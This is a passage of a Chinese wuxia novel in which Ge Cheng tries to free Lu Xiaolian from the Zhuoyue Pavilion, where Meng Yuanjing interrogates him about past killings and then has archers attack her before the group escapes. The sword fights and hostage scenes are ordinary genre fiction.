前些日子,逐月阁阁主孟岗带着长子孟元经去南州城参加琴剑山庄的试琴会,亲眼见着卓弘明与南婧在天下英雄面前反目成仇。在卓弘明被南婧重伤后,孟岗让孟元经先行回逐月阁主持日常事务,他则和凤鸣山掌门叶广身为多年好友,送了卓弘明最后一程。之后又应叶广之遥,前往凤鸣山小住,至今未回。 逐月阁里此时由孟元经主事,都是一起长大的交情,陆晓怜他们很轻松便被请进了逐月阁,很轻松便在后院见到了叶芷蔚。 隔着重伤的孟元纬和备受质疑的贺承,叶芷蔚和陆晓怜见面时虽不如以往亲密热络,但也绝不至于就到了剑拔弩张的地步。 是陆晓怜主动问起孟元经的伤,主动提起她和贺承请了南门迁和潘妩来为孟元纬治伤,主动试探着问叶芷蔚,她心里是不是也觉得是贺承伤了孟元纬? 所以,事情的导火索还是在他身上。 贺承握着酒杯的手一紧,不觉间,将陶瓷酒杯捏成了碎片:“叶芷蔚怎么说的?” 看着贺承的手指被碎瓷片划破出血,钟晓愣了一下:“芷蔚姐的性格你也知道,温温柔柔的,当着师姐的面当然没说什么,可谁都看得出来,这么大的事,怎么能不怨?所以师姐才说,等你来了西江,她会陪着你上门去同芷蔚姐解释清楚。” 陆晓怜说出这番话时,贺承不在场,他不知道她这样对叶芷蔚说,是不是藏了私心?当初在无涯洞外死伤的,不止有叶芷蔚的心上人孟元纬,还有陆晓怜的亲哥哥陆兴剑,叶芷蔚想要的解释,又何尝不是陆晓怜自己想要的呢? 可他能说什么? 在他找到罪魁祸首之前,他什么也不能说。 钟晓继续说下去:“后来芷蔚姐留我们在逐月阁吃饭,元经哥得空也过来了,席上免不了要饮酒,我很快就醉了,醒过来时,我和金波已经在客栈了。我们发现师姐不在,再去逐月阁找人,便进不去了,说师姐要在逐月阁暂住,直到师兄亲自登门接人。” 金波一直默默听着,此时忍不住插话进来,替那日喝醉的钟晓开脱:“那日我没喝酒,也迷迷糊糊地睡了过去,可见不是那几杯酒的问题。我怀疑是酒或者饭菜被动了手脚!贺大哥,你别怪钟晓。” 贺承点头:“他们既然存了这样的心,你们自然防不胜防。”他拧着眉头想了想,又问钟晓:“你们喝醉时,孟元经也是在场的?” 钟晓肯定地点头:“在的,我本也不想喝酒,可是元经哥敬的酒,我也不好拂了他的面子。” 闻言,贺承的眉头拧得更深。 将陆晓怜留在逐月阁里若只是叶芷蔚的意思,那还好办些。一则她与陆晓怜多年姐妹情深,虽然把人留下来引他上钩,却未必会过分为难陆晓怜,二则她是凤鸣山的人,只身来到逐月阁照护孟元纬,逐月阁虽然感激,却也不至于给她太多人手以差遣。 孟元经却不一样。他是孟岗的长子,是孟元纬的亲哥哥,也是逐月阁的少阁主。如今孟岗远在凤鸣山,逐月阁众人全听孟元经调遣,若是他想为难自己和陆晓怜,这一趟进逐月阁接人,便无异于硬闯龙潭虎穴。 偏偏,钟晓说那日孟元经是在场的。 很难说,拿陆晓怜为饵逼他现身,究竟是谁的主意? 金波性子急,追着问:“那接下来要怎么办?” “他们的目标是我,我不去,他们不会放晓怜走。”贺承拿过桌上的酒壶,没耐性一杯一杯浅斟慢酌,就着壶嘴,将一壶热酒喝个精光,温热的酒壶妥帖抚慰着阵阵冷痛的经脉,令他稍稍缓过一口气。 他身上的凤尾续魂针是新伤,靠着潘妩的那些药强压着,一路颠簸过来,已是极限,若在逐月阁中发生冲突,他也不敢说自己定能护着陆晓怜全身而退。 仔细考量后,贺承不敢托大,摸出一块玄色令牌递给金波,对桌上的两人道:“明日一早,钟晓跟我一起进逐月阁接人,金波在外面接应。最多等两日,我们若是没有动静,你拿着这块令牌,去湘城枕风楼找枕风楼楼主沈懿行,让他前来相助。” 金波与他们相识的时间不长,贺承便这样毫不犹豫地将能搬来救兵的印信交到她手中,她握着那方沉甸甸的令牌,一时有些错愕:“就,就交给我了?” 贺承深深点头:“是要拜托你了。” 第58章 第五十八章孟元经我这个做哥哥的,…… 逐月阁在西江城里一家独大,西江城里发生了什么,只要逐月阁上了心想留意,连猫狗打架这样鸡毛蒜皮的小事都能摸得一清二楚。 于是,贺承只身进城的消息很快传进了逐月阁,传到了陆晓怜和叶芷蔚这里。 叶芷蔚一早得知消息,径直奔到陆晓怜房中:“你不是说你们找到了隐居百花谷的神医夫妇来为阿纬治伤,怎么会只有你师兄一人进城?” “我也听说师兄昨夜到了,我听说师兄是快马进的城,南门前辈和潘前辈年纪大了,哪里禁得住快马颠簸?比师兄稍迟一两日也是有的。”陆晓怜边说边觉得自己的猜测颇有道理,再往深里想下去,竟还琢磨出几分甜蜜来,“师兄定然是听说了我被你留在逐月 阁的消息,心里着急,才先行赶来的。既然如此,他今日一定会来逐月阁,到时你再问问他。” 这番解释合情合理,顺利说服了心急如焚的叶芷蔚。 她松了口气,在陆晓怜房中的圆桌旁坐下,自顾自倒了杯茶水,捧着茶杯取笑她:“咦?怎么是‘到时候我再问问他’?说得好像你就不同他说话似的。” “我才不理他,我,我气还没有消呢!” 陆晓怜与叶芷蔚是自小一起长大的闺中密友,凑到一起便有说不完的话。住在逐月阁这几日,她已经把这一路发生的事仔仔细细同叶芷蔚讲了一遍,从她是如何在南州城与贺承重逢说起,到一行人送性命垂危的贺承硬闯百花谷求医,又到南门迁和潘妩同他们一起出谷,到贺承在庐川城悄悄离开。 说到庐川城那段,陆晓怜越发气得跳脚。 她掐着手指数给叶芷蔚听,出百花谷时,他们同行统共有六个人,贺承离开时,带走了南门迁和潘妩,通知了钟晓,连金波他也没特意瞒着,只有她一个人被灌得酩酊大醉,在不知不觉中被迫分离! 贺承到底将她当做什么呢? 一起杀出琴剑山庄,一起硬闯百花谷,他还是将她当做一朵经受不住一点风雨的花吗?还是说,他永远不会相信,她能与他并肩? 叶芷蔚看着陆晓怜,揶揄道:“还没消气呀?那行啊,我请元经哥安排几个厉害的人值守,你师兄一会来了,就打出去。” “那多不好。” “不是没消气吗?怎么?现在又舍不得了?” 陆晓怜知道叶芷蔚在取笑她,轻哼一声:“那不是,我是为你着想。你看啊,要他上门接人的消息是你放出去的,他真来了,你又拦着不让进,别人怎么看你,是不是?” 叶芷蔚轻轻拧了拧陆晓怜的脸颊:“哎呦,还有比我们陆姑娘嘴更硬的人吗?” 两人互相取笑玩闹着了一会,外面有人敲门:“叶姑娘,少阁主请您过去一趟。” 叶芷蔚走前还不忘捉弄陆晓怜:“元经哥找我,不会是你师兄来了吧?对了,我们陆姑娘还生气呢,可不能轻易就让他把人接走了。我去唱红脸,先替你骂他一顿,你收拾收拾,晚点再出来。” 陆晓怜抿着嘴不说话,眉梢眼角却已经不能自制地微微扬起。 陆晓怜是来探望叶芷蔚的那天被他们劝着留宿下来的。 那日她本想把喝醉的钟晓和金波送回客栈,第二日在收拾些日常要用的东西再来找叶芷蔚,可孟元经说,不必这样麻烦地来回跑,他会派人送钟晓和金波回去,她直接住下便是,逐月阁里什么都有,实在缺什么,他再派人去买。 那日酒席散场时,夜也是深了,孟元经安排得妥帖周到,她便这样住下了。 她那时什么也没有带,今日自然也没什么东西要收拾带走的,只对着镜子细细整理了头发和衣裳,转头就兴冲冲地要往外跑。 拉开房门,外面果然站着人。 陆晓怜认得,是孟元经安排给叶芷蔚的那位侍女小港。这几日她日日与叶芷蔚待在一起,跟她身边的人也熟络起来,想是叶芷蔚细致,特意留了陆晓怜认识的人在这里,等着给她引路。 陆晓怜问:“芷蔚姐姐让你在这里等我的吗?是我师兄来了吗?” 小港规规矩矩地向陆晓怜福了福身:“陆姑娘跟我来。” 另一边,贺承和钟晓确实已经登门,此刻正在逐月阁待客的迎远堂坐着。 他们辰时刚过便到了,逐月阁待客倒也周到,把人迎进来,茶水点心一样不缺地上着,可两人生生等了一个时辰,想见的人一个也没见到。 钟晓悄悄转头看他师兄,只觉得贺承的脸色比昨日到西江城时还要差些。这也是难怪,快马加鞭地赶了几天路,没能睡个囫囵觉,就来逐月阁里干巴巴地枯坐着等人,寻常人都受不了,何况贺承之前受过要命的重伤,刚刚才被南门迁和潘妩暂时压制住伤势。 “师兄,喝点热茶。”他把茶杯往贺承手边推了推,没话找话,“元经哥可能有事要忙,我们再等等。” 贺承看了眼他的傻师弟:“即便孟元经有事,叶芷蔚也忙吗?再退一步,即便他们两人当真都有事,晓怜呢?晓怜难道在逐月阁也有事要忙?” “那,那逐月阁这是什么意思?” “自然是不让我们轻易带晓怜走的意思。” “啊?那我们怎么办?” “我也不知道。”贺承端起茶盏,慢悠悠地抿了一口茶水,“走一步是一步吧。” 添过五轮茶水后,孟元经终于舍得露面。 孟元经与陆兴剑年纪相仿,贺承带着陆晓怜、孟元纬他们满山遍野疯玩的时候,他已经被孟岗带着出入江湖上的各种聚会,是以他们虽然认识,却不能算熟识,甚至因为孟元经寡言端肃,贺承和陆晓怜小时候还有些怕他。 “元经哥。”贺承和钟晓一同起身,向孟元经抱拳一揖。 孟元经微微颔首,在主位坐下:“抱歉,久等了。”他嘴上说着抱歉,言语之间却无甚愧疚之意,不等贺承他们应话,便自顾自地说下去:“小纬突然有些发热,我放心不下,守在他院子里,直到热度退了才过来,你们应该不会见怪吧?” 孟元经状似无意地说着与弟弟孟元纬相关的琐事,目光却直直盯着贺承。 显然,孟元纬究竟是不是真的发热了,是不是真的已经退了热,这些都不重要,重要的是,贺承听到孟元纬名字时的反应。 贺承平静道:“入秋了,天气凉,他有伤在身,是要多加小心。” “小纬的伤,恐怕没人比你更清楚吧。” 这是实话,虽然孟元经语气不善,可贺承无从反驳。 孟元经又说:“我得人点拨,才想到这个守株待兔的办法,用陆怜引你现身。你难得来一趟逐月阁,不去看看小纬吗?或者说,你敢去看看小纬吗?” 听了这话,贺承和钟晓心中都是一沉—— 将陆晓怜留在逐月阁果然有孟元经参与其中。 但古怪的是,孟岗一向信奉君子端方,教出来的孟元经、孟元纬兄弟二人行事也是光明磊落,这事确实不像是孟元经的作风,究竟是什么人“点拨”了孟元经? 贺承没有正面回应,只说:“我们请了百花谷的南门迁前辈和潘妩前辈出山,二位前辈此时尚在别处休整,至多半月,便会来西江城……” “你确实是不敢去看小纬,对吗?”孟元经打断贺承,将问题又抛出来一回。 贺承抿紧了唇,没有说话。 孟元经继续咄咄逼人地追着问:“小纬确实是被你所伤,对吗?” 贺承依然久久没有回应。 房间里静得令人不敢呼吸,钟晓悄悄偏过头,拿眼角余光看贺承。 贺承黑长浓密的眼睫低垂着,盖住眼中的情绪,没人看得出他究竟在想什么。可他的脸不知不觉间褪尽了血色,白成一片霜雪,他挺直了脊背稳稳地坐在那里,可看在钟晓眼里,却觉得他无助极了,脆弱极了,像是一片孱弱的雪花,冷风一吹就碎,暖风一烘就化。 孟元经依然在逼他:“去看看小纬吧,然后你再想一想,到底要不要告诉我,那一晚在青山城无涯洞外,究竟发生了什么?” 贺承的睫毛颤了一下,低声说:“我确实没什么可说的。” “真的,没什么可说的吗?”孟元经的神色有些古怪,像是不忍心,又像是松了口气,“既然你没什么要说的,那你用凌云剑划在小纬身上的每一道伤,我都要在陆晓怜身上讨回来,也希望你不要多言。” 这话说的没有道理,贺承霍然抬头。 钟晓比他先出声:“元经哥,如今江湖上的人一多半都知道我师姐在逐月阁,她 若是出了事,逐月阁如何堵住悠悠众口?” 孟元经冷笑:“无涯洞外三死一伤,你们青山城如何为贺承开脱,我们逐月阁便能如何为我开脱。何况,一报还一报,公平得很。” 话是说来回应钟晓的,可孟元经的目光始终一瞬不瞬地盯着贺承。 贺承胸口剧烈起伏,声音艰涩:“晓怜是你看着长大的。” 孟元经的肩膀颤了一下,身体明显有些僵硬,他眨了下眼,咄咄逼人的目光无声柔软下去,眼瞳里淌出某种无奈和悲伤。他有些恍惚,悠悠叹了口气:“小纬也是我看着长大的啊,他遭了这么多的罪,做哥哥的,总不能什么也不做吧?” 第59章 第五十九章发难今日陆晓怜死在我剑…… 孟元经说,正巧陆晓怜在孟元纬院子里陪着叶芷蔚,大家相识一场,总不能都到孟元纬院子里了,竟不走进屋看他一眼吧? 于是,贺承只能跟着孟元经进到内院,去看望了昏迷中的孟元纬。 在众人的精心照料下,孟元纬依然顽强地活着。如今距离孟元纬受伤已经半年有余,每日躺在室内,只能灌进汤羹一类的流食和汤药,他极度苍白,也极度消瘦,棉被覆盖过去,几乎看不出身体拱起的弧度。 钟晓一路紧跟在贺承身边,他敏锐地察觉到,自从进了屋,远远地见到孟元纬躺在床上,他的师兄就不大对劲。从房门口到孟元纬床边短短的一段路,他脚步虚浮,走得很慢,有几次他身子颤得厉害,钟晓都担心他站立不稳要跌倒下去。 “师兄?”看着贺承这副模样,别说孟元经了,连钟晓都心生动摇,觉得孟元纬的伤必然与贺承有关。他在心中挣扎着为贺承辩白,即便孟元纬当真是师兄伤的,师兄也必定是有苦衷的吧? 贺承茫然地偏过头来看钟晓,脸色煞白似鬼,一双眼乌沉沉的,看不见一点神采。 钟晓扶住贺承的手臂:“师兄,你没事吧?” 贺承终于摇摇头,哑着嗓子苦笑道:“我活得好好的,能有什么事?” 秋风起,天气凉,屋子里燃着炭盆,将床榻旁的方寸之间烘得暖融融的。 孟元经坐在床沿,将侍女递过来的几个汤婆子塞进孟元纬的被子里,换出不够暖和的几只,交由她们带走。孟元纬无知无觉,即便被烫伤也不会喊疼,孟元经细心伸手探进被子里,试了试温度,才能放心:“他的经脉都断了,气血不畅,三伏天里手脚都是凉的,都得用温水灌汤婆子暖着。” “不过——”孟元经语气平静,话却说得残忍,“兴许他也并不会觉得冷,对不对?” 这话是在问贺承。 可贺承早就说不出话来了。 那一夜是十五,明月高悬,即便不点灯烛,无涯洞外也是一片光亮。 贺承挥着凌云剑刺向他们时,是特意点了灯烛的,他需要自己刺出的每一剑都又稳又准,所以他不得不在明晃晃的烛光里,眼睁睁地看着自己的剑刺进自己尊敬的兄长、爱重的好友身体里,喷溅出一簇一簇艳色。 那夜从他剑锋滴落的血,几乎将如水的月光染红。 他已经很久没有梦见过那一夜溅满血污的那几张脸,可他见到了孟元纬。 孟元纬明明被洗尽血污,干净苍白得像隆冬里的一捧雪,可贺承见到他,还是无法避免地想起那一晚无涯洞外的血色月光。 孟元经并不打算就这样放过贺承,他轻手轻脚地掀开被子,将孟元纬中衣的衣襟敞开,露出他苍白瘦削的胸膛。 孟家兄弟能文能武,当年不知谁起的头、造的势,将他们称作“逐月双杰”。虽是文武双全,但兄弟二人其实各有分工,孟元经更擅长筹谋调遣,孟元纬则更热衷于研习武学经典,可如今,这人经脉具断,卧床半年有余,一身精壮的肌肉,被磋磨得只剩包裹着嶙峋瘦骨的一层薄薄皮肉。 那具瘦得能看见两肋骨骼轮廓的身体上,横着数道醒目的剑伤。 伤口已经结痂愈合,只留下淡粉色的疤痕。一道道隆起的疤痕像一张张被封闭上的嘴,将不能言说的秘密封藏其间。 “你还认得这伤吗?”孟元经指着孟元纬心口处的一道疤,抬眼看向贺承,“当日在场的,你们青山城的陆兴剑,琴剑山庄的江非沉,凤鸣山的叶飞白,胸口这个位置都有伤。这个位置——” 孟元经深吸了口气,沉声道:“你根本没想让他们活命,是不是?” 孟元经是以陆晓怜在这里为由,半骗半逼着贺承进到这个院子里来的。如今人也见了,贺承不想面对的往事也被勾起了,陆晓怜却迟迟不见踪影,他紧紧盯着孟元经,目光又黑又沉,如一口古老的枯井:“晓怜呢?” “别急,这就来了。”孟元经重新为孟元纬盖好被子,转身朝窗外拍了两下手掌,只听见纷乱的脚步声从庭院中传来。 随着屋外的脚步声落定,孟元经一闪身,眨眼间落到贺承与钟晓身边。他抬手一挥,房间里的重重帘幕垂下来,内室中孟元纬的身影犹如被千万重的青山遮挡了去,再看不清,也再不被外面的纷乱打扰。 接着,他用眼神向贺承和钟晓示意,一同走出屋子看看。 贺承还记得,他们来时,屋外本是一方空荡荡的庭院,如今他们再推门出来,只见方才空无一人的庭院中,此时站满了手持兵刃的人,满场弥散着剑拔弩张的戾气。人群之间、庭院中央摆放着一座木架子,木架上有个人被张开手足绑缚着。 钟晓瞪大了眼,尖利地喊出声:“师姐!” 听见钟晓的声音,原本闭着眼睛不理人的陆晓怜睁眼看过来,欢喜道:“钟晓!师兄!” 陆晓怜的声音清亮,想来并未受伤,贺承稍稍放下心来。他转头盯着孟元经,一字一字问得很慢:“这是什么意思?” “我听说,晓怜听不得别人说你一句不好,出事后,她到处跟人理论,说你不会胡乱伤人,其中必有隐情,说在找到你,在听你自己说明来龙去脉前,即便无涯洞外三死一伤,每一处伤口都是凌云剑留下的,也不能轻易给你定罪。” 其实,这些事并不需要孟元经特意告诉贺承。 当初在南州城,他带着面具以“沈烛”的名字与陆晓怜相遇,陆晓怜就因为觉得他在说贺承的坏话,完完整整地跟他吵过一次,甚至还向他亮出了横秋剑—— 陆晓怜对他不讲道理的维护,他是亲身经历过的。 “今日正好当着晓怜的面,由我来问,你来答,也让她看看,究竟是不是错信了你。”孟元经拔出腰间所佩重剑,抚着乌黑的剑身,“小纬身上有一十二道伤,我只问你六个问题,你若不答,或所言非实,我就往陆晓怜身上戳两个窟窿,怎么样?” “此事与晓怜没有关系,先让钟晓带她走!” “不可能。”孟元经断然拒绝,“我辛辛苦苦说服芷蔚把她留下来,怎么能轻易放走?何况,无涯洞外究竟发生过什么,我想,晓怜也是想知道的,对不对?”他没有要等陆晓怜的答复,也没有给贺承讨价还价的机会,直接发问:“小纬被凌云剑所伤,是你动的手?” 秋高气爽,夏虫沉寂,孟元纬养伤的庭院坐落在逐月阁深处,隔绝市集喧嚣,分外清静,在无风的秋日午后,更是静得仿佛没有活物。 逐月阁以内家功夫见长,会被孟元经叫来这里围堵贺承,想必更是个中高手,早将如何控制气息练得炉火纯青,是以满满当当站了一庭院的人,竟连呼吸声都听不到。 孟元经加重了音量:“这是第一个问题,小纬身上一十二道剑伤,剑剑都精准挑断筋脉,是不是你动的手?” 所有人的目光都落在贺承身上。 一道道目光如有实质,沉甸甸地压过来,贺承有些受不住。他往后退了半步,脊背抵在门框上,微微垂着头,回避着四面八方的目光,淡得没有血色的唇动了动,弱声吐出一个“是”字。 “其他人呢?”孟元经咬牙,“陆兴剑、江非沉、叶飞白的死,也皆是你所为,是不是?” 四大门派各据一方,护卫一方安宁,平日里走动颇多,同辈弟子之间大多熟识,孟元经与陆兴剑年纪相仿 ,背景相似,最聊得来,也知道陆兴剑颇为心疼他这个在外流浪多年的小师弟。 不曾想,农夫救了毒蛇,反被一口咬穿了喉咙。 贺承微弱地点了下头。 他认下这事,最先出声质问的,不是孟元经,而是钟晓。 钟晓站得离贺承最近,震惊之下,忍不住往后退了一步,颤着嗓子问:“为什么啊?大师兄待我们那样好,师兄,你这是为什么啊?” 是啊,大师兄对每个人都好。 对他的小师弟贺承,尤其地好。 贺承拜入陆岳修门下时年纪还很小,陆岳修是青山城掌门,日理万机,难免有不周到的地方,陆兴剑拉扯着年幼的陆晓怜长大,顺带地,也护着初来乍到的贺承。 七岁时,陆兴剑教贺承识字。 八岁时,陆兴剑教贺承握剑。 十四岁时,陆兴剑为贺承铸了凌云剑。 十五岁时,贺承舞着凌云剑名动江湖,陆兴剑是最为他高兴的人之一。 可是,贺承长到二十一岁的时候,握着陆兴剑送给他的凌云剑,毫不犹豫地刺穿陆兴剑的胸膛,亲手挑断他的心脉! 在钟晓的声声质问中,贺承只觉得气血翻腾,耳边阵阵嗡鸣。他几乎要站不住,用手撑着墙,才勉强稳住身形,他的声音很低,仿佛是在向自己争辩:“是,是误伤。” “误伤?”孟元经犀利追问,“那你原本想杀的是谁?” “我没有想杀谁。” “没想杀谁吗?那一夜无涯洞外死伤那么多人,你说你没想要杀谁?”孟元经紧紧盯着贺承,迟疑着抛出一个一直想问的问题,“还说是,你杀他们,是有苦衷的?” “没有!”贺承霍然抬头,乌沉沉的眼毫不避让地回看向孟元经。 情绪激荡之下,贺承几乎控制不住自己横冲直撞的气息,经脉里的凤尾续魂针牵扯出尖锐的痛,他咬着牙,气息沉重,声音掷地有声,显得越发可信:“没有苦衷,我只是不希望他们上擂台。”他朝陆晓怜的方向望了一眼,哑声道:“毕竟,那是为晓怜招亲设的擂台。” 贺承与陆晓怜青梅竹马,因陆岳修为陆晓怜设下擂台比武招亲,而心生不满,将这场比武招亲的参与者乱剑斩杀在无涯洞外。 这个说法,听来实在合情合理。 可孟元经却骤然怒起:“满口谎话!” 他气极难耐,挥出一掌,拍碎庭院中一块嶙峋的太湖石:“只是不希望他们上擂台,何至于一口气连刺几十剑?何况,陆兴剑是陆晓怜的亲哥哥!” 碎石飞溅,落地如倾盆暴雨,哗啦作响。 分明没有下雨,可贺承仿佛被当头浇了冷雨,渐渐能压住纷乱的心绪,冷静地辩驳:“确实如此,大致那时我在嫉妒中迷失了心智,一时失了分寸。” 孟元经神色有些古怪地愣了片刻,忽然笑出声来,一连说了几个“好”字。 那笑声分辨不出悲喜,贺承觉察不对时,孟元经脚下步法已动,提剑飞身出去:“好,既是红颜祸水,今日陆晓怜死在我剑下,也不算冤枉!” 话音未落,一泓剑光已朝陆晓怜掠去—— 第60章 第六十章置之死地陆晓怜,我是非杀…… 孟元经的剑直冲陆晓怜心口而去,贺承和钟晓落后半步,追赶不及,陆晓怜的手脚被绳索绑缚,无法动弹,这一剑眼看她非受不可。 追至半途,贺承反而脚步稍滞,凌云剑斜斜探到地上,轻轻一挑,将刚刚被孟元经一掌击碎,迸落一地的太湖石碎块握在手中。 确实是赶不及了,他只能将所有赌注压在手里的这块碎石上。 人总是能被绝境激发出无穷潜力,贺承也不知自己究竟哪里生出来这样大的一股蛮力,接连掷出石块,竟生生将孟元经对准陆晓怜心口的剑砸歪了几寸。 这几寸,便是生死的差距。 泠泠剑光稍稍偏移,避开要害,削减力道,只浅浅划过陆晓怜的肩膀。 剑刃锋利,浅浅划过,也会带出细长的伤口。 艳丽血色在陆晓怜肩头绽放,开成枯朽的深秋里最艳的花。 霎时,贺承什么也看不见,什么也听不见,眼中只剩下那朵猩红的花。 凌云剑破空而出,直指孟元经后心而去。 这一剑没有任何招式,只是快。 剑锋撕开虚空中的风,发出尖利的啸鸣,眨眼间已近到咫尺之间,孟元经顾不上陆晓怜,猝然收剑回身自护。 孟元经使重剑,力灌剑身,一招一式,皆有万钧之力。 贺承的凌云剑则轻巧灵活,胜在快而多变。 两剑交锋,剑身轻颤,发出清亮啸鸣。 要论剑法,孟元经是不如贺承的,可逐月阁以内家功夫见长,身为少阁主的孟元经更是个中翘楚,强劲内力灌注在玄铁所造的重剑之上,短兵相接,登时震得贺承虎口发麻,胸口腥气翻涌。 孟元经冷笑:“听说你前一段受了很重的伤?看来是真的。” 贺承咽下喉咙里的腥气:“与你无关。” 孟元经的剑往前挺进几寸:“送命的是你们,确实跟我没什么关系。” 贺承一声冷哼:“那可未必。” 孟元经的内功深厚,未受伤前的贺承也未必能在他手下全身而退,何况如今拖着这样一副五劳七伤的身子。念及如此,贺承不再与之强抗,往旁斜斜撤出半步,出其不意地抽出凌云剑。 骤然失去凌云剑的格挡,重剑裹挟着孟元经的浑厚内力击在贺承的心口。贺承只觉心肺震颤,气息一窒,闷咳一声,便呛出一口血来。孟元经眉梢一挑,还要乘胜追击,却不想贺承生生受下这一剑后,更卸下所有防御,不退反进,手中的凌云剑以极为刁钻的角度斜穿出去,颤巍巍地直取孟元经面门。 贺承的剑很快,眨眼之间,剑光已逼至孟元经眼睫之间。 重剑笨拙,孟元经不及回剑自护,只松开左手回护自己。而贺承手中的凌云剑却犹如一条灵巧的银蛇,软剑柔韧,剑身抵在孟元经手臂上,却能顺着他的手臂向下翻折,轻轻巧巧地刺进他的左肩—— 正是孟元经刚刚划伤陆晓怜的位置。 “这是在还我刚刚刺陆晓怜的那一剑吗?”孟元经不急着抽身,反而伸出两根手指紧紧夹住削薄的凌云剑,似笑非笑地看着贺承,“既然要算得这样清楚,那你刺在小纬身上的十二剑,也一并清算了吧?” 孟元经神色古怪,贺承觉得他话里有话,并不冒然回应,只警惕地盯着他。 他夹着凌云剑的两根手指骤然在剑身上滑动,滑至剑柄处,陡然松开。贺承以为孟元经要夺剑,下意识握紧剑柄,却不料他只是将手掌向前轻轻一探,牢牢握住贺承的手腕,拖着他往旁撤了几步。 “来,一起看一出戏。”他的声量不高,庭院中与钟晓缠斗在一起的逐月阁弟子却在他出声时,一同停了手。 片刻之前,刀剑铿锵的庭院一时寂静如死。 孟元经曲着手指在剑身上轻弹三下。 庭院里太过安静,以至于他指下弹剑铮铮,清晰异常。随即,如疾风扫过万顷草原,窸窸窣窣的动静自 四面八方传来。贺承定睛再看,只见顷刻之间,庭院矮墙之上,接连长出弓箭手来。 孟元经一手握着贺承的手腕钳制住他,一手举着自己的剑,剑尖直指被捆在木架上的陆晓怜:“我只要不多不少的十二箭,射中者有赏。” 此时,陆晓怜的手脚都被牢牢固定着,整个人呈大字型,被绑在木架上,活脱脱一张箭靶子。浅浅一方庭院,矮墙上站着二三十名弓箭手,这样近的距离,这样醒目的箭靶,他们要比的并不是谁能射中陆晓怜,而是谁先射中陆晓怜! 贺承愠怒:“孟元经,你疯了?” “是,你就当我疯了吧!”孟元经扫视一轮弓箭手,高声喝道,“还不放箭!” 沉寂片刻,终于有一支羽箭破空而过,箭矢如电,劈出簌簌风声。 射出第一支箭的人,许是有意为之,许是能力确实有限,来势汹汹的这一支箭,准头不足,竟让陆晓怜稍一沉肩就侥幸躲了过去。可这一支箭是打仗时的先锋,试探着迈出一步,紧接着就有第二支箭、第三支箭…… 箭矢如雨,贺承顾不上与孟元经理论,一心只想挣脱他的牵制,赶到陆晓怜身边。 可孟元经对贺承多有忌惮,心知这一松手放他去,陆晓怜十有八九便死不了了,也越发用力地箍住他的手腕。贺承挣脱不开,心急如焚之下,将丹田中强压着的内息尽数释出,忍着几乎要将经脉重新崩断的剧痛,聚力于掌心,以十成功力,一掌向孟元经左肩拍去…… 再看陆晓怜那头,虽然贺承被孟元经牵绊,所幸钟晓已从逐月阁弟子的包围中脱身出来,护在陆晓怜身边。 他不仅挥剑为她挡掉几波箭雨,甚至在兵荒马乱中,还想办法斩断绑在她右手上的绳索,为她争取出来一点活动空间。陆晓怜也不是坐以待毙的人,钟晓将她的右手释放出来,她便找机会握住一支飞到眼前的箭,右手持着箭,击落近身无法闪避开的羽箭。 孟元经赏的是射中陆晓怜的人,一开始弓箭手的目标只有陆晓怜,但他们很快开始发现,陆晓怜已是笼中之鸟,他们迟迟无法射中陆晓怜,都是因为有个钟晓从中阻挠,若能先解决钟晓,射杀陆晓怜这件事便能事半功倍。 渐渐,有人将箭矢瞄准到钟晓身上来。 羽箭从四面八方飞来,钟晓却孤身一人,眼观四路耳听八方,不仅要一刻不歇地飞身绕在陆晓怜周围,为她打落避无可避的箭矢,还要时刻警惕着朝着自己直射而来的羽箭,实在吃力。 箭矢太密,寡不敌众,钟晓已经开始躲不开如雨的箭矢,只能勉强护住要害,任由箭矢划破他的手臂、肩膀。 陆晓怜被钟晓护在身后,虽没受伤,却越发担忧起来,即便不受伤,钟晓又有多少力气可以挥霍?让他一个人前后左右地翻飞着为她挡箭,终究不是长久之计。弓箭手之所以肆无忌惮,是因为逐月阁持兵刃的弟子远远站着作壁上观,孟元经拖着贺承在庭院另一侧缠斗,庭院中央除了陆晓怜和钟晓两个活靶子,再无他人,他们无需担心误伤。 而他们两为什么要待着这里当活靶子呢? 究其原因,是因为陆晓怜被牢牢绑在木架上。 想到这里,陆晓怜对钟晓道:“钟晓,把你的剑给我,你捡几支箭支撑一会。” 钟晓被密集的羽箭缠得脱不开身,无暇尽数砍断捆绑着陆晓怜的绳索,可被他严严实实护在身后的陆晓怜却有空得很! 话只说个开头,钟晓就明白过来陆晓怜想做什么,二话不说,将自己的佩剑绿竹剑朝陆晓怜抛去。在羽箭横飞的飕飕风声中,听见陆晓怜稳稳接住剑的动静,钟晓松了口气,定睛再看,只稍稍分心一瞬,便有一支箭如急电劈空而来,直直射向自己心口。 四周都是密集如雨的箭矢,他无路可退。 电光火石的一瞬,钟晓脑中竟是空白一片—— 这支箭必定会穿胸而过。 他,就要死在这里了吗? 然而,那支箭没有射中,钟晓也没有死。 他动弹不得地盯着箭矢朝自己疾飞而来,听见的并不是金属刺入血肉的闷响,而是金属相碰的铿锵声—— 那支威风凛凛的箭被人一剑劈落在地。 钟晓尚未回过神来,肩膀便被人握住,推搡拉扯之间,又躲开几支箭。紧接着,他手里被塞了一只匕首:“别发呆,这里交给我,你去救晓怜……” “不用,我自己下来了。”贺承话音未落,陆晓怜的声音也插了进来。 钟晓回过神,不仅贺承甩开孟元经赶了过来,连陆晓怜也砍断了绑住她的绳索,将自己从木架上解脱了出来。三人终于摆脱桎梏,汇聚一处,各自暗暗松了口气。 钟晓问:“我们怎么出去?” 陆晓怜小时候常来逐月阁找孟元纬玩,熟悉此处方位,略一思忖,道:“这个院子在逐月阁深处,孟元经不会放我们横穿逐月阁出去,我们不如从后山翻出去,山上有草木掩护,也不至于像现在这样在空地上被当做靶子打。” 贺承砍断几支飞临他们身侧的箭,简短回应:“好,由你带路。” 被贺承委以重任,陆晓怜并不慌乱。她被绑在架子上无法动弹的时候便在脑子里规划过路线,此时又扫了一眼庭院中人群的分布,不假思索:“我们先往西边走,那片假山可以为我们掩护,弓箭手暂时就射不到我们了,我们再想办法先翻出这个院子。” 一言既定,他们后背相抵,各自抵挡住一面的攻势,朝陆晓怜说的那片假山挪去。 这一局,孟元经有些托大了,他只在面向庭院空旷处的矮墙上安排了弓箭手,他们轻而易举地对准庭院中央的木架子,却对庭院西侧高低错落的假山无能为力。正如陆晓怜所说,他们移动到假山附近,山石遮挡之下,刚刚将他们逼得几乎山重水尽的弓箭手再奈何不了他们。 贺承用手指抹去陆晓怜脸上溅落的血污,见缝插针地夸人:“干得漂亮。” 